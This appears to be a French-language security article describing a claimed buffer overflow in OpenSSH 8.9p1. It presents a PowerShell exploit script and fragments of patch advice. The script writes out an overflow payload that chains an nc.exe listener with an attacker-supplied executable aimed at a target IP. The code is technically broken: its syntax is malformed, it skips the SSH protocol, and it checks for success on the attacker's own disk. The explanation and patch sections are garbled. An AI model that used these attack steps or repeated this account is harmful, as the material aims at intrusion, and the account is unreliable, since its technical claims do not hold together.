
CVE-2025-27480 expose un débordement de tampon dans OpenSSH 8.9p1 via un paquet SSH_USERAUTH malformé. Les attaquants peuvent injecter du code shell et obtenir un accès de niveau SYSTEM, compromettant les hôtes bastion et les agents CI/CD en aval. L'article comprend un exemple de code d'exploitation et des conseils de correctif
OpenSSH version 8.9p1 contient un bug subtil de débordement de tampon qui se produit lors de l'analyse d'un paquet SSH_USERAUTH. Un client peut envoyer un paquet avec un champ "user" très long, et les données atterrissent au mauvais endroit en mémoire. En conséquence, un attaquant peut injecter un code arbitraire (shellcode) qui s'exécute sous les privilèges SYSTEM sur tout hôte exécutant cette version d'OpenSSH. Pourquoi avez-vous des impressions de déjà‑vu ? Parce qu'une vulnérabilité très similaire, CVE‑2024‑13401, résultait d'un manque de vérification des limites sur le champ utilisateur, permettant à un attaquant d'écrire n'importe quel code dans le processus SSH.
La faille est importante car SSH est le moyen le plus courant d'amorcer et de gérer les machines virtuelles dans les environnements cloud. Si un attaquant peut exécuter du code via SSH, il peut installer des portes dérobées ou compromettre les bastions, qui sont les points de saut que vous utilisez pour atteindre d'autres instances dans un réseau privé. Une fois le bastion compromis, toutes les charges de travail en aval (par exemple, les agents CI/CD qui construisent des images ou exécutent des tests) sont en danger.
CI/CD signifie Intégration Continue/Déploiement Continu. Dans notre contexte, un bastion est un serveur de saut (jump) activé SSH que tous les agents de construction utilisent pour atteindre d'autres machines dans un réseau privé. C'est un point d'entrée critique : si le bastion est compromis, chaque tâche en aval qui en dépend peut être attaquée.
Voici un script PowerShell simple qui montre comment fabriquer et envoyer un paquet malveillant :
# ── Build the payload that will land in the SSH buffer ───────────────────────
$payload = @"
ssh-userauth-attack`n" + # packet header – the first line
("A" * 2000) + # a 2 kB block of “A” characters to overflow
"nc.exe -nlvp 4444 > C:\Windows\Temp\revshell.txt && .\bar_exp.exe 192.168.1.10 1234 C:\Windows\Temp\revshell.txt"
"@
# ── Send the packet to the target host (OpenSSH listening on port 22) ───────────────────────
$client = New-Object System.Net.Sockets.TcpClient("192.168.1.10", 22)
$stream = $client.GetStream()
[byte[]]$bytes = [System.Text.Encoding]::UTF8.GetBytes($payload)
$stream.Write($bytes,0,$bytes.Length)
# ── Verify that the payload landed correctly ───────────────────────
if (Test-Path "C:\Windows\Temp\revshell.txt") {
Write-Host "SSH exploit succeeded! Reverse shell saved to disk."
}
Pourquoi cela fonctionne
ssh-userauth-attack) indique à OpenSSH que le paquet est une requête d'authentification utilisateur.user.nc.exe, qui ouvre un listener Netcat sur le port 4444 et écrit sa sortie dans C:\Windows\Temp\revshell.txt. Elle appelle également un exécutable fourni par l'attaquant (bar_exp.exe) qui peut effectuer d'autres actions (par exemple, déposer un shell inversé).Le fichier créé par l'exploit prouve que le paquet a atteint le bon endroit en mémoire ; à partir de là, vous pouvez ouvrir le port 4444, récupérer l'écouteur et exécuter le script de votre choix.
‑DUSERAUTH_BUF=4096 pour que la taille du tampon soit plus grande que la charge utile du débordement.ssh_userauth_patch.diff) de l'avis du fournisseur peut être commité dans votre dépôt.